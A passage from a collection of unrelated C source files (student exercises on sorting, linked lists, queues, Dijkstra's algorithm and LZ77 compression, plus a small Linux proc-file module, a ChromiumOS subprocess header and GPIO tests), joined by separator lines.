* \param tamC int tamanio del array de los colores
* \param servicio[] eServicio array de los servicios
* \param tamS int el tamanio del array de los servicios
* \return int devuelve 1 si se pudo mostrar los trabajos realizados y la cantidad, sino devuelve 0.
*
*/
int serviciosEnUnaFecha(eTrabajo trabajo[], int tamTra, eMoto motos[], int tam, eTipo tipos[], int tamTi, eColor colores[],
int tamC, eServicio servicio[], int tamS);
#endif // INFORMES_H_INCLUDED
|
C
|
int main()
{
struct student{
int number;
int chinese;
int math;
int sum;
}students[100000];
int n,i;
int a1,b1,a2,b2,a3,b3;
int c1,c2;
int max=0;
scanf("%d",&n);
for(i=0;i<n;i++)
{
scanf("%d%d%d",&students[i].number,&students[i].chinese,&students[i].math);
students[i].sum=students[i].chinese+students[i].math;
}
max=0;
for(i=0;i<n;i++)
{
if(students[i].sum>max)
{
max=students[i].sum;
a1=students[i].number;
b1=students[i].sum;
c1=i;
}
}
max=0;
for(i=0;i<n;i++)
{
if(students[i].sum>max&&i!=c1)
{
max=students[i].sum;
a2=students[i].number;
b2=students[i].sum;
c2=i;
}
}
max=0;
for(i=0;i<n;i++)
{
if(students[i].sum>max&&i!=c2&&i!=c1)
{
max=students[i].sum;
a3=students[i].number;
b3=students[i].sum;
}
}
printf("%d %d\n",a1,b1);
printf("%d %d\n",a2,b2);
printf("%d %d\n",a3,b3);
return 0;
}
|
C
|
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/seq_file.h>
#include <linux/proc_fs.h>
static int print_something(struct seq_file *m, void *v) {
seq_printf(m, "Hello. It's me\n");
return 0;
}
static int file_open_proc(struct inode * inode, struct file * file) {
return single_open(file, print_something, NULL);
}
struct proc_dir_entry * proc_file_entry;
static const struct file_operations proc_file_ops = {
.owner = THIS_MODULE,
.open = file_open_proc,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release
};
static int __init init(void) {
proc_file_entry = proc_create("dummy_file", 0, NULL, &proc_file_ops);
if (proc_file_entry == NULL) {
return -ENOMEM;
}
return 0;
}
static void __exit cleanup(void) {
remove_proc_entry("dummy_file", NULL);
printk(KERN_ERR "Goodbye\n");
}
module_init(init);
module_exit(cleanup);
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "linkedList.h"
typedef struct listElementStruct{
char* data;
size_t size;
struct listElementStruct* next;
} listElement;
//Creates a new linked list element with given content of size
//Returns a pointer to the element
listElement* createEl(char* data, size_t size){
listElement* e = malloc(sizeof(listElement));
if(e == NULL){
//malloc has had an error
return NULL; //return NULL to indicate an error.
}
char* dataPointer = malloc(sizeof(char)*size);
if(dataPointer == NULL){
//malloc has had an error
free(e); //release the previously allocated memory
return NULL; //return NULL to indicate an error.
}
strcpy(dataPointer, data);
e->data = dataPointer;
e->size = size;
e->next = NULL;
return e;
}
//Prints out each element in the list
void traverse(listElement* start){
listElement* current = start;
while(current != NULL){
printf("%s\n", current->data);
current = current->next;
}
}
//Inserts a new element after the given el
//Returns the pointer to the new element
listElement* insertAfter(listElement* el, char* data, size_t size){
listElement* newEl = createEl(data, size);
listElement* next = el->next;
newEl->next = next;
el->next = newEl;
return newEl;
}
//Delete the element after the given el
void deleteAfter(listElement* after){
listElement* delete = after->next;
listElement* newNext = delete->next;
after->next = newNext;
//need to free the memory because we used malloc
free(delete->data);
free(delete);
}
///////////////////////////////////////////////////////////////////////////////////
int getLength(listElement* list) {
//counter to increment everytime current->next is called
int length = 0;
listElement* current = list;
while (current != NULL) {
current = current->next;
length++;
}
return length;
}
//Push a new element onto the head of a list
void push(listElement** list, char* data, size_t size) {
//create the element that is passed in
listElement* newEl = createEl(data, size);
//setting new element's next pointer as the head pointer that was passed in
newEl->next = *list;
//now we set new element as the head of the list
*list = newEl;
}
//Pop an element from the head of a list.
listElement* pop(listElement** list) {
//creating node to store head of the list
listElement* head = *list;
//creating node to store popped element which is the head of the list
listElement* poppedElement = createEl(head->data, head->size);
//setting a newhead element as the node next to head.
listElement* newHead = head->next;
*list = newHead;
//freeing the data inside head which is now not pointing to anything.
free(head->data);
free(head);
return poppedElement;
}
//same as push
void enqueue(listElement** list, char* data, size_t size) {
listElement* newEl = createEl(data, size);
newEl->next = *list;
*list = newEl;
}
listElement* dequeue(listElement* list) {
//store head of list in current
listElement* current = list;
//store dequeued element
listElement* deq;
//find the last element and free that data inside it
while (current != NULL) {
//if last element == null - at the tail
if (current->next->next == NULL) {
//set deq as the last element
deq = createEl(current->next->data, current->next->size);
free(current->next->data);
free(current->next);
//set 2nd last element pointing to NULL
current->next = NULL;
}
current = current->next;
}
return deq;
}
|
C
|
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include "des.h"
void main()
{
int ret = 0;
unsigned char plain[100];
int plainlen = 0;
unsigned char plain2[100];
int plain2len = 0;
unsigned char cryptdata[100];
int cryptlen = 0;
strcpy(plain, "abcdefgdafdsafdsafd");
plainlen = strlen((char *)plain);//Ѿ֪ unsigned char bufдŵȷʵǿɼֽڣתû
//ûʹõĺ
ret = DesEnc(plain, plainlen, cryptdata, &cryptlen);
if (ret != 0)
{
printf("func DesEnc() err:%d \n", ret);
return;
}
//ûʹúdes
ret = DesDec(cryptdata, cryptlen, plain2, &plain2len);
if (ret != 0)
{
printf("func DesDec() err:%d \n", ret);
return;
}
if (plainlen != plain2len)
{
printf("ijȲһ\n");
return ;
}
if (memcmp(plain, plain2, plain2len)==0 )
{
printf("һ\n");
}
else
{
printf("ݲһ\n");
}
system("pause");
}
|
C
|
#include <stdio.h>
#include <malloc.h>
int main(void){
int array13[][3]={{1,2,3}};
int array23[][3]={{4,5,6}};
int (*(*p)[2])[3];
p=(int (*(*)[2])[3])malloc(1 * sizeof(int (*(*)[2])[3]));
p[0][0]=array13;
p[0][1]=array23;
printf("%d\n",p[0][0][0][1]); //2
printf("%d\n",p[0][1][0][1]); // 5
}
|
C
|
//Despoina Zografidou 321/2016041
#include<stdio.h>
struct activity
{
char a[5];
int start;
int finish;
};
void activitySelection(struct activity activities[],int n)
{
int i,j;
struct activity temp;
for(i=0; i<n; i++)
{
for(j=0; j<n-1; j++)
{
if(activities[j].finish>activities[j+1].finish)
{
temp=activities[j];
activities[j]=activities[j+1];
activities[j+1]=temp;
}
}
}
printf("%10s %10s %10s","Activity","Start","Finish\n");
printf("%10s %10d %10d ",activities[0].a,activities[0].start,activities[0].finish);
i=0;
printf("\n");
for(j=1;j<n;j++)
{
if(activities[j].start>=activities[i].finish)
{
printf("%10s %10d %10d\n",activities[j].a,activities[j].start,activities[j].finish);
i=j;
}
}
}
int main()
{
struct activity activities[8]=
{
{"a1",1,3},
{"a2",1,2},
{"a3",0,1},
{"a4",3,4},
{"a5",4,6},
{"a6",2,4},
{"a7",4,5},
{"a8",4,6}
};
int n=8;
activitySelection(activities,n);
return 0;
}
|
C
|
//Mutlak hesabi ? ile.
#include <stdio.h>
int main()
{
int sayi =0;
printf("Sayiyi giriniz: ");
scanf("%d",&sayi);
sayi = (sayi<0) ? sayi*(-1) : sayi;
printf("Sayinin mutlagi: %d",sayi);
return 0;
}
|
C
|
/* Copyright 2019 The ChromiumOS Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*
* Library for creating subprocesses in a high level manner.
*/
#ifndef VBOOT_REFERENCE_SUBPROCESS_H_
#define VBOOT_REFERENCE_SUBPROCESS_H_
#include <stdio.h>
#include <stdlib.h>
/**
* subprocess_target is the "mini language" of the subprocess
* library. It describes where to read or write data from the process.
*
* There are currently five target of targets:
*
* - TARGET_NULL: /dev/null, no need to describe any other fields.
*
* - TARGET_FD: file descriptor, put the fd in the fd field.
*
* - TARGET_FILE: FILE *, put the FILE pointer in the file field.
*
* - TARGET_BUFFER: read to, or write from, a buffer. Fields:
* - buffer->buf: the buffer
* - buffer->size: the size of that buffer
* - buffer->bytes_consumed: do not fill out this field.
* subprocess_run will set it to the number of bytes read from the
* process (if writing to a buffer). Goes unused when reading from
* a buffer.
*
* - TARGET_BUFFER_NULL_TERMINATED: when reading from a buffer, don't
* fill out the size field and subprocess_run will strlen for you.
* When writing to a buffer, subprocess_run will reserve one byte of
* the size for a null terminator and guarantee that the output is
* always NULL terminated.
*
* - TARGET_CALLBACK: when the target is provided as an input to a
* process, the callback will be called occasionally to provide
* input to the process. The callback should fill buf with up to
* buf_sz bytes of data, and return the number of bytes
* written, or negative values on error. When the target is provided
* as an output to a process, the callback will be called
* occasionally with buf_sz bytes of data from the output put into
* buf. In this case, the return value from the callback is
* ignored except for errors. The data field is for application use
* and will always be passed to the data parameter of the callback
* function.
*/
struct subprocess_target {
enum {
TARGET_NULL,
TARGET_FD,
TARGET_FILE,
TARGET_BUFFER,
TARGET_BUFFER_NULL_TERMINATED,
TARGET_CALLBACK,
} type;
union {
int fd;
FILE *file;
struct {
char *buf;
size_t size;
/*
* This variable is the output of the number of bytes
* read or written. It should be read by the caller, not
* set.
*/
size_t bytes_consumed;
} buffer;
struct {
ssize_t (*cb)(char *buf, size_t buf_sz, void *data);
void *data;
} callback;
};
struct {
int pipefd[2];
} priv;
};
/**
* A convenience subprocess target which uses TARGET_NULL.
*/
extern struct subprocess_target subprocess_null;
/**
* A convenience subprocess target which uses TARGET_FD to STDIN_FILENO.
*/
extern struct subprocess_target subprocess_stdin;
/**
* A convenience subprocess target which uses TARGET_FD to STDOUT_FILENO.
*/
extern struct subprocess_target subprocess_stdout;
/**
* A convenience subprocess target which uses TARGET_FD to STDERR_FILENO.
*/
extern struct subprocess_target subprocess_stderr;
/**
* Call a process and run until completion.
*
* @param argv A NULL-terminated list of arguments describing
* the program to run.
* @param input The subprocess_target connected to stdin.
* @param output The subprocess_target connected to stdout.
* @param error The subprocess_target connected to stderr.
*
* If either input, output, or error are set to NULL, they will be
* &subprocess_stdin, &subprocess_stdout, or &subprocess_stderr
* respectively.
*
* @return The exit status on success, or negative values on error.
*/
int subprocess_run(const char *const argv[],
struct subprocess_target *input,
struct subprocess_target *output,
struct subprocess_target *error);
#endif /* VBOOT_REFERENCE_SUBPROCESS_H_ */
|
C
|
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h
#include "tree.h"
struct tree;
struct attributes;
enum type {tree, word};//typage des noeuds: permet de savoir si un noeud construit un arbre ou s'il s'agit simplement de texte
struct attributes{
char* key;//nom de l'attribut
char* value;//valeur de l'attribut
struct attributes* next;//attribut suivant
};
struct tree{
char* label;//etiquette du noeud
bool nullary;//noeud vide, par exemple <br/>
bool space;//noeud suivi d'un espace
enum type tp;//type du noeud. nullary doit être true si tp vaut word
struct attributes* attr;//attribut du noeud
struct tree* daughters;//fils gauche, qui doit être NULL si nullary est true
struct tree* right;//frere droit
};
|
C
|
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "patate.h"
int main(int argc, char** argv)
{
int i, pid, p;
int pipes[3][2];
/*int fd = open("toto", O_RDONLY);
lancer_patate(1, 56);
printf(" <<< lance dans stdout \n");
fflush(stdout);
printf(">>>> %d\n", recevoir_patate(fd));
close(fd);*/
for (i = 0; i < 3; i++)
{
pipe(pipes[i]);
//printf("%d -> %d\n", pipes[i][1], pipes[i][0]);
}
//lancer_patate(pipes[0][1], 42);
//recevoir_patate(pipes[0][0]);
p = 0;
pid = fork();
if (pid != 0)
{
pid = fork();
if (pid == 0)
{
p = 2;
}
}
else
{
p = 1;
}
for (i = 0; i < 3; i++)
{
if (i != p)
{
close(pipes[i][0]);
//printf("%d %d %d : closing %d\n",getpid(), p, i, pipes[i][0]);
}
if (i != (p + 1) % 3)
{
close(pipes[i][1]);
//printf("%d %d %d : closing %d\n",getpid(), p, i ,pipes[i][1]);
}
}
sleep(1);
/*printf("%d %d %d\n", getpid(), p, pid);*/
if (p == 1)
{
lancer_patate(pipes[2][1], obtenir_valeur_aleatoire(10));
}
/*if (p == 2)
{
recevoir_patate(pipes[2][0]);
}*/
//sleep(5);
demarrer_recepteur_patate(pipes[p][0], pipes[(p+1)%3][1]);
return 0;
}
|
C
|
#include <stdlib.h>
typedef struct node_t{
int *arr; //length n always
struct node_t * next;
} node_t;
typedef struct list_t {
node_t * head;
int len;
} list_t;
void insert_into_list(list_t * list, int *arr, int n);
int * remove_from_list(list_t *list);
int empty_list(list_t * list);
|
C
|
#include <stdio.h>
int main()
{
int num_funcionario;
int num_hora;
float valor_hora;
float salario;
scanf("%d", &num_funcionario);
scanf("%d", &num_hora);
scanf("%f", &valor_hora);
salario = valor_hora*num_hora;
printf("NUMBER = %d\n", num_funcionario);
printf("SALARY = U$ %.2f\n", salario);
}
|
C
|
#define SIZE 5
unsigned char min (unsigned char tab[], unsigned char size, unsigned char n) {
unsigned char i, min_index, min;
if (size == 0) return 0;
min_index = n;
min = tab[min_index];
for (i = n+1 ; i < size ; i++) {
if (tab[i] < min) {
min_index = i;
min = tab[min_index];
}
}
return min_index;
}
void swap (unsigned char tab[], unsigned char i, unsigned char j) {
unsigned char t;
t = tab[i] ; tab[i] = tab[j] ; tab[j] = t;
}
void bubble_sort(unsigned char tab[], unsigned char size) {
unsigned char i, min_index;
for (i = 0 ; i < size ; i++) {
min_index = min(tab, size, i);
swap(tab, i, min_index);
}
}
void print_tab (unsigned char tab[], unsigned char size) {
unsigned char i;
for (i = 0 ; i < size ; i++) {
print_uchar(tab[i]);
space();
}
newline();
}
unsigned char main () {
unsigned char tab[SIZE] = {26, -21, 43, -62, 8};
bubble_sort(tab, SIZE);
print_tab(tab, SIZE);
return 0;
}
|
C
|
/**
* @brief Implement GPIO section of miscellaneous/testing_plan
* @author Francois Berder
* @date 2016
* @copyright 3-clause BSD
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include <letmecreate/core/gpio.h>
static bool test_gpio_get_set_direction_invalid_gpio(void)
{
uint8_t direction;
return gpio_get_direction(200, &direction) == -1
&& gpio_set_direction(200, GPIO_OUTPUT) == -1;
}
static bool test_gpio_get_set_value_invalid_gpio(void)
{
uint8_t value;
return gpio_get_value(200, &value) == -1
&& gpio_set_value(200, 1) == -1;
}
static bool test_gpio_init_invalid_gpio(void)
{
return gpio_init(200) == -1;
}
static bool test_gpio_release_invalid_gpio(void)
{
return gpio_release(200) == -1;
}
static bool test_gpio_init(void)
{
uint8_t direction;
if (gpio_init(MIKROBUS_1_INT) < 0)
return -1;
if (gpio_get_direction(MIKROBUS_1_INT, &direction) < 0)
return -1;
return direction == GPIO_INPUT;
}
static bool test_gpio_direction_input(void)
{
uint8_t direction;
if (gpio_set_direction(MIKROBUS_1_INT, GPIO_INPUT) < 0)
return false;
if(gpio_get_direction(MIKROBUS_1_INT, &direction) < 0)
return false;
return direction == GPIO_INPUT;
}
static bool test_gpio_set_value_invalid_direction(void)
{
return gpio_set_value(MIKROBUS_1_INT, 1) == -1;
}
static bool test_gpio_input_gnd(void)
{
uint8_t value;
printf("Connect Mikrobus 1 INT gpio to ground.\n");
printf("Press a switch when this is done.\n");
if (wait_for_switch(30) < 0)
return false;
if (gpio_get_value(MIKROBUS_1_INT, &value) < 0)
return false;
return value == 0;
}
static bool test_gpio_input_3v3(void)
{
uint8_t value;
printf("Connect Mikrobus 1 INT gpio to 3V3.\n");
printf("Press a switch when this is done.\n");
if (wait_for_switch(30) < 0)
return false;
if (gpio_get_value(MIKROBUS_1_INT, &value) < 0)
return false;
return value == 1;
}
static bool test_gpio_direction_output(void)
{
uint8_t direction;
printf("Wire a LED to Mikrobus 1 INT gpio.\n");
printf("Press a switch when this is done.\n");
if (wait_for_switch(30) < 0)
return false;
if (gpio_set_direction(MIKROBUS_1_INT, GPIO_OUTPUT) < 0)
return false;
if (gpio_get_direction(MIKROBUS_1_INT, &direction) < 0)
return false;
return direction == GPIO_OUTPUT;
}
static bool test_gpio_output_high(void)
{
uint8_t value;
if (gpio_set_value(MIKROBUS_1_INT, 1) < 0)
return false;
if (gpio_get_value(MIKROBUS_1_INT, &value) < 0)
return false;
if (value != 1)
return false;
return ask_question("Is the LED on ?", 15) == 1;
}
static bool test_gpio_output_low(void)
{
uint8_t value;
if (gpio_set_value(MIKROBUS_1_INT, 0) < 0)
return false;
if (gpio_get_value(MIKROBUS_1_INT, &value) < 0)
return false;
if (value != 0)
return false;
return ask_question("Is the LED off ?", 15) == 1;
}
static bool test_gpio_release(void)
{
return gpio_release(MIKROBUS_1_INT) == 0;
}
int main(void)
{
int ret = -1;
CREATE_TEST(gpio, 13)
ADD_TEST_CASE(gpio, get_set_direction_invalid_gpio);
ADD_TEST_CASE(gpio, get_set_value_invalid_gpio);
ADD_TEST_CASE(gpio, init_invalid_gpio);
ADD_TEST_CASE(gpio, release_invalid_gpio);
ADD_TEST_CASE(gpio, init);
ADD_TEST_CASE(gpio, direction_input);
ADD_TEST_CASE(gpio, set_value_invalid_direction);
ADD_TEST_CASE(gpio, input_gnd);
ADD_TEST_CASE(gpio, input_3v3);
ADD_TEST_CASE(gpio, direction_output);
ADD_TEST_CASE(gpio, output_high);
ADD_TEST_CASE(gpio, output_low);
ADD_TEST_CASE(gpio, release);
ret = run_test(test_gpio);
free(test_gpio.cases);
return ret;
}
|
C
|
#include<stdio.h>
#include<tm_dll.h>
int main()
{
int i1,i2,i3,i4,i5,i6;
int *x;
bool succ;
DoublyLinkedList *list1;
DoublyLinkedListReverseIterator iter;
list1=createDoublyLinkedList(&succ);
if(succ==false)
{
printf("Unable to create list\n");
return 0;
}
i1=100;
i2=200;
i3=300;
i4=400;
i5=500;
i6=600;
addToDoublyLinkedList(list1,(void *)&i1,&succ);
if(succ) printf("%d added to list1\n",i1);
addToDoublyLinkedList(list1,(void *)&i2,&succ);
if(succ) printf("%d added to list1\n",i2);
addToDoublyLinkedList(list1,(void *)&i3,&succ);
if(succ) printf("%d added to list1\n",i3);
addToDoublyLinkedList(list1,(void *)&i4,&succ);
if(succ) printf("%d added to list1\n",i4);
addToDoublyLinkedList(list1,(void *)&i5,&succ);
if(succ) printf("%d added to list1\n",i5);
addToDoublyLinkedList(list1,(void *)&i6,&succ);
if(succ) printf("%d added to list1\n",i6);
iter=getDoublyLinkedListReverseIterator(list1,&succ);
if(succ)
{
while(hasPreviousInDoublyLinkedList(&iter))
{
x=(int *)getPreviousElementFromDoublyLinkedList(&iter,&succ);
printf("%d\n",*x);
}
}
printf("Destroying List\n");
destroyDoublyLinkedList(list1);
return 0;
}
|
C
|
int factorsum( int number ){
int sum=0;
if(number==1)
return 1;
else{
for(int i=1;i<number;i++)
if(number%i==0)
sum+=i;
return sum;}
}
void PrintPN( int m, int n ){
int flag=0;
while(m==1){
flag=1;
printf("1 = 1\n");
m++;
}
for(int i=m;i<=n;i++){
if(factorsum(i)==i){
flag=1;
printf("%d = 1",i);
for(int x=2;x<i;x++)
if(i%x==0)
printf(" + %d",x);
printf("\n");
}
}
if(flag==0)
printf("No perfect number");
}
|
C
|
// program to enter the numbers till the user wants and at the end
//it should display the count of positive, negative and zeros entered.
#include<stdio.h>
int main()
{
int num,positive=0,negative=0,zero=0;
char choice;
do
{
printf("Enter the number: \n");
scanf("%d",&num);
if(num>0)
positive++;
else if (num<0)
negative++;
else
{
zero++;
}
printf("Do you want to continue (y/n): \n");
choice=getch();
}while(choice=='y');
printf("Positive numbers=%d\tNegative numbers=%d\tZero numbers=%d\t",positive,negative,zero);
}
|
C
|
#include <stdio.h>
int main() {
int num;
printf("This program displays all even squares between 1 and an input\nPlease enter a positive integer: ");
scanf("%d", &num);
for (int i = 1; i*i < num; i++){
if (i % 2 == 1)
continue;
else
printf("%d\n", i*i);
if (i*i > num)
break;
}
return 0;
}
|
C
|
/*Equipe:Leandro Monteiro Guimares Matrcula: 0286756
Murilo Lima de Holanda 0286740
Paulo Srgio V. Alves Jnior 0288809 */
/*Obs: O algoritmo s funcionar se o arquivo a ser lido estiver no seguinte padro:
Linha 1: n m(n=vrtices m=arestas, separados por um espao
Linhas 2 a m-1: a,o,d,c(a aresta 'a' incidente aos vrtices 'o' e 'd' e tem custo 'c')
*/
//Obs2: O arquivo *.txt tem que ser passado como parmetro para o programa
#include <stdlib.h>
#include <stdio.h>
#define INF 32768
#define MAX 60
int n,m,count,i,j;
void dijkstra(int ar[MAX][MAX], int raiz)
{
int p,prox;
int perm[n+1];//Vetor que ve quais vertices ja foram analisados pelo algoritmo
for (i=0;i<n+1;i++)//Coloca 0 em tds as posies indicando que nenhum vertice foi analisado
perm[i]=0;
perm[raiz]=1;//Coloca 1 na raiz, que vai ser analisada
p=1;//Variavel que indica qts vertices foram analisados
prox=raiz;
while(p<n)//Enquanto tds os vertices nao forem analisados
{
int adj;//Variavel que vai indicar o vertice adjacente de menor custo
int min = INF+1;
for(j=1;j<=n;j++)
if((perm[j]==0) && (ar[raiz][j] < min))//So pega vertices que nao foram analisados
{
adj = j;//Atualiza o vertice adjacente
min = ar[prox][j];//Custo do vertice adjacente
}
for(j=1;j<=n;j++)
if ((j!=prox) && (j!=adj))//Analisa tds os vertices, menos a raiz e o adjacente
if(ar[raiz][j] > ar[raiz][adj] + ar[adj][j])//Compara as distancias
ar[raiz][j] = ar[raiz][adj] + ar[adj][j];//e pega a que for menor
prox=adj;
p++;//Incrementa o numero de vertices analisado
perm[adj]=1;//O vertice adj ja foi analisado
}
}
void MatCust(FILE *fd,int ar[MAX][MAX]) //Armazena os custos das arestas em 'ar'
{
int origem,destino,custo;
char aux[(m+1)*16]; //Vetor auxiliarpara guardar todos os caracteres do arquivo.
count=0;
while (!feof(fd)) //Guarda os caracteres do arquivo em 'aux'.
{
aux[count]=getc(fd);
count++;
}
for(i=1;i<=n;i++)//Inicia a matriz com 0 se e infinito
for(j=1;j<=n;j++)
{
if (i==j)
ar[i][j]=0;
else
ar[i][j]=INF;
}
count=0;
while(aux[count]!=',')
count++;
count++;
while (aux[count] != '\0')
{
origem=atoi(&aux[count]);
while(aux[count]!=',')
count++;
count++;
destino=atoi(&aux[count]);
while(aux[count]!=',')
count++;
count++;
if(origem>n || destino>n) //Testa se vertice pertence ao grafo.
{
printf("\nExistem vertices invalidos no seu grafo.\n\n");
exit(0);
}
ar[origem][destino]=atoi(&aux[count]);
while(aux[count]!=',')
{
count++;
if(aux[count+1]=='\0')
break;
}
count++;
}
}
void Imprimir(int ar[MAX][MAX])
{
for(i=1;i<=n;i++)
{
for(j=1;j<=n;j++)
{
if (ar[i][j] == INF)
printf("INF ");
else
printf("%d ",ar[i][j]);
if(ar[i][j]<10)
printf(" ");
else if(ar[i][j]<100)
printf(" ");
else if((ar[i][j]<1000) || (ar[i][j] == INF))
printf(" ");
else if(ar[i][j]<10000)
printf(" ");
else if(ar[i][j]<100000)
printf(" ");
else printf(" ");
}
printf("\n");
}
}
int main(int argc, char *argv[])
{
system("clear");
if (argc<2)
{
printf("Voce deve digitar um parametro!\n\n");
exit(1);
}
char va[8];
FILE *fd;
fd = fopen(argv[1], "r");
count=0;
while (count<8) // Salva a primeira linha do arquivo num vetor auxiliar para que se
{ // possa descobrir o valor de m e n.
va[count]=getc(fd);
count++;
}
count=0;
n=atoi(&va[count]); //Armazena o numero de vertices.
while(va[count]!=' ') // O numero de arestas se encontra aps o primeiro espao, assim
count++; //incrementa-se o 'count' at encontrar o primeiro espao.
m=atoi(&va[count+1]); //Armazena o nmero de arestas.
if (m>n*(n-1) || (m<(n-1)) || (n<2) || (n>MAX)) //Teste pra ver se o grafo vlido
{
printf("\n\nGrafo Invalido!!");
exit(1);
}
fd = fopen(argv[1], "r"); //Reler o arquivo.
int ar[MAX][MAX];
MatCust(fd,ar);
printf("\n\nNumero de vertices = %d Numero de arestas = %d\n\n\n",n,m);
printf("\n\n Matriz de custo:\n\n\n");
Imprimir(ar);
int raiz;
for (raiz=1;raiz<=n;raiz++)//Cada vertice do grafo tem que ser raiz uma vez
dijkstra(ar,raiz);
printf("\n\n Matriz de distancia:\n\n\n");
Imprimir(ar);
printf("\n\n");
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "lzw.h"
inline int min(int a, int b);
void compress_file(FILE* file_input, FILE* file_output);
int compress_buffer(char *buffer, int length, int start, int end,
struct triple *output, FILE* file_out);
inline int min(int a, int b)
{
return (a < b) ? a : b;
}
int main(int argc, char * argv[])
{
if(argc != 2){
printf("Provide file name. \n");
exit(1);
}
FILE *fd_input = fopen(argv[1], "r");
FILE *fd_output = fopen("output.bin", "w");
if(fd_input == NULL){
printf("Input file could not be opened. \n");
exit(1);
} else if (fd_output == NULL){
printf("Output file could not be opened. \n");
}
compress_file(fd_input, fd_output);
return 0;
}
/* compress_file
arguments:
- file_input: file to compress;
- file_output: file to write the compressed byte stream.
*/
void compress_file(FILE *file_input, FILE *file_output)
{
static char buffer[BUFSZ];
static struct triple outp[BUFSZ];
int i = 0;
int max_i = MAX_LOOKBACK + WINDOWSZ;
size_t buff_len = fread(buffer, 1, BUFSZ, file_input);
max_i = (max_i < buff_len) ? max_i : buff_len;
i = compress_buffer(buffer, buff_len, i, max_i, outp, file_output);
while(i < buff_len){
// assume max_i <= i
// move two blocks of lookback at the end to the front
memmove(buffer, buffer + WINDOWSZ - MAX_LOOKBACK, 2 * MAX_LOOKBACK);
buff_len = fread(buffer + 2 * MAX_LOOKBACK, 1, WINDOWSZ, file_input);
buff_len += 2 * MAX_LOOKBACK;
i -= WINDOWSZ; // We just moved the buffer WINDOWSZ to the left
max_i = min(MAX_LOOKBACK + WINDOWSZ, buff_len);
i = compress_buffer(buffer, buff_len, i, max_i, outp, file_output);
}
}
/* compress_buffer
arguments:
- buffer: input buffer;
- length: length of the input buffer;
- start: start compression at index start;
- end: stop compressing before end
(strictly speaking: the last triple should not start with the char at end)
- output: buffer for output triples. Should have length equal to buffer.
returns:
an int with the last index used for compression.
*/
int compress_buffer(char *buffer, int length, int start, int end,
struct triple *output, FILE *file_out)
{
int i, j; // i is index into buffer, j into output
struct triple best_t; // contains the best triple for each i
int l, o; // contains length, offset running variables
int max_length, max_offset;
j = 0;
for(i = start; i < end; i += best_t.length + 1){
best_t.offset = 0;
best_t.length = 0;
best_t.c = buffer[i];
// for max_offset we must not reach
// in front of the buffer
// outside of MAX_LOOKBACK
max_offset = min(i, MAX_LOOKBACK);
for(o = max_offset; best_t.length < o; o--){
// length cannot exceed offset.
// Also, the last triple must contain buffer[length - 1] as character.
max_length = min(o, length - i - 1);
for(l = 0; l < max_length; l++){
if(buffer[i + l] != buffer[i - o + l]){
break;
}
}
if(best_t.length < l) {
best_t.offset = o;
best_t.length = l;
best_t.c = buffer[i + l];
}
}
// best_t now contains the best triple for this index i
// printf("(%d,%d,%c)\n", best_t.offset, best_t.length, best_t.c);
// store it
/* lengths[best_t.length] ++; */
output[j++] = best_t;
}
// write the triples
if(fwrite(output, sizeof(output[0]), j, file_out) != j){
fprintf(stderr, "Could not write to output file\n");
exit(3);
}
return i;
}
|
C
|
#include <random>
double monteCarlo(long long num) {
srand(time(NULL));
long long inside = 0;
for (long long i = 0; i < num; i++) {
double x = (double)rand() * 2 / (double)RAND_MAX - 1;
double y = (double)rand() * 2 / (double)RAND_MAX - 1;
if (x * x + y * y <= 1) {
inside += 1;
}
}
return (double)(4.0 * (double)inside) / num;
}
double integrationMC(double f(double x),
double x0,
double x1,
long long count) {
srand(time(NULL));
double result = 0;
for (int i = 0; i < count; i++) {
double x = (double)rand() * (x1 - x0) / (double)RAND_MAX + x0;
result += (f(x) * (x1 - x0)) / count;
}
return result;
}
|
C
|
/*
* Program to sort in ascending order and printing unique intergres.
* @Author: Malay Bhavsar
*/
#include <stdio.h>
int main()
{
int n;
printf("Enter number of elements:");
scanf("%d", &n);
int arr[n], count = -1, j = 0, temp;
for (int i = 0; i < n; i++)
{
printf("Enter element[%d]: ", i);
scanf("%d", &arr[i]);
}
// Sorting the input array.
while (count != 0)
{
count = 0;
for (int j = 0; j < n - 1; j++)
{
if (arr[j] > arr[j + 1])
{
temp = arr[j];
arr[j] = arr[j + 1];
arr[j + 1] = temp;
count++;
}
}
}
// Printing unique number.
temp = arr[0];
printf("\nUnique numbers are: %d", arr[0]);
for (int k = 1; k < n; k++)
{
if (temp != arr[k])
{
printf(" %d", arr[k]);
temp = arr[k];
}
}
return 0;
}
|
C
|
// ADT for a FIFO queue
// COMP1521 17s2 Week01 Lab Exercise
// Written by John Shepherd, July 2017
// Modified by Andrew Walls, z5165400
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include "Queue.h"
typedef struct QueueNode {
int jobid; // unique job ID
int size; // size/duration of job
struct QueueNode *next;
} QueueNode;
struct QueueRep {
int nitems; // # of nodes
QueueNode *head; // first node
QueueNode *tail; // last node
};
// create a new node for a Queue
static
QueueNode *makeQueueNode(int id, int size)
{
QueueNode *new;
new = malloc(sizeof(struct QueueNode));
assert(new != NULL);
new->jobid = id;
new->size = size;
new->next = NULL;
return new;
}
// free a queue node
// While this is only a single-line function, if the QueueNode type is later
// expanded to include more items, particularly alloc'd pointers, this function can
// handle deallocation of the items, rather than users of the Queue doing it themselves.
// Marked static as it's not defined in Queue.h.
static
void freeQueueNode(QueueNode *node)
{
free(node);
}
// make a new empty Queue
Queue makeQueue()
{
Queue new;
new = malloc(sizeof(struct QueueRep));
assert(new != NULL);
new->nitems = 0; new->head = new->tail = NULL;
return new;
}
// Recursive queue free
static
void freeQueueNodes(QueueNode *node) {
// Terminator - the passed node pointer is null
if(node == NULL) return;
// Free the nodes after this node
freeQueueNodes(node->next);
// Then free this node
freeQueueNode(node);
}
// release space used by Queue
void freeQueue(Queue q)
{
assert(q != NULL);
// Free the nodes contained in the queue
freeQueueNodes(q->head);
// Free the queue itself
free(q);
}
// add a new item to tail of Queue
void enterQueue(Queue q, int id, int size)
{
assert(q != NULL);
// Create the new node
QueueNode *node = makeQueueNode(id, size);
// Ensure memory has been allocated
